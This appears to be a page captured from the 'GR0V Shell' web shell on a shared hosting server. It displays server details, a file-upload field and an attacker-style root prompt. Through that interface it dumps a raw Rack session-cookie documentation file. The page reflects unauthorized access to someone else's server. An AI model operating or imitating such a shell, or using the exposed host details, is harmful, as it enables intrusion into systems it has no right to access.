? GR0V Shell

GR0V shell

Linux server122.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64

Path : /opt/alt/ruby19/lib64/ruby/gems/1.9.1/doc/rack-1.6.4/ri/Rack/Session/Cookie/
File Upload :
Current File : //opt/alt/ruby19/lib64/ruby/gems/1.9.1/doc/rack-1.6.4/ri/Rack/Session/Cookie/cdesc-Cookie.ri

U:RDoc::NormalClass[iI"Cookie:EFI"Rack::Session::Cookie;FI"Abstract::ID;Fo:RDoc::Markup::Document:@parts[o;;[o:RDoc::Markup::Paragraph;[
I"KRack::Session::Cookie provides simple cookie based session management.;FI"OBy default, the session is a Ruby Hash stored as base64 encoded marshalled;FI"Kdata set to :key (default: rack.session).  The object that encodes the;FI"Lsession data is configurable and must respond to +encode+ and +decode+.;FI"9Both methods must take a string and return a string.;Fo:RDoc::Markup::BlankLineo;	;[I"KWhen the secret key is set, cookie data is checked for data integrity.;FI"MThe old secret key is also accepted and allows graceful secret rotation.;F@o;	;[I"
Example:;F@o:RDoc::Markup::Verbatim;[
I"8use Rack::Session::Cookie, :key => 'rack.session',
;FI"6                           :domain => 'foo.com',
;FI".                           :path => '/',
;FI":                           :expire_after => 2592000,
;FI"8                           :secret => 'change_me',
;FI"@                           :old_secret => 'also_change_me'
;FI"
;FI""All parameters are optional.
;Fo;	;[I"*Example of a cookie with no encoding:;F@o;;[I".Rack::Session::Cookie.new(application, {
;FI"5  :coder => Rack::Session::Cookie::Identity.new
;FI"})
;Fo;	;[I".Example of a cookie with custom encoding:;F@o;;[I".Rack::Session::Cookie.new(application, {
;FI"  :coder => Class.new {
;FI"+    def encode(str); str.reverse; end
;FI"+    def decode(str); str.reverse; end
;FI"
  }.new
;FI"});F:
@fileI"lib/rack/session/cookie.rb;F;0[[
I"
coder;FI"R;F:publicF@:[[[[I"
class;F[[;
[[I"new;F@:[:protected[[:private[[I"
instance;F[[;
[[;[[;[

T1KUS90T
  root-grov@198.54.114.191:~$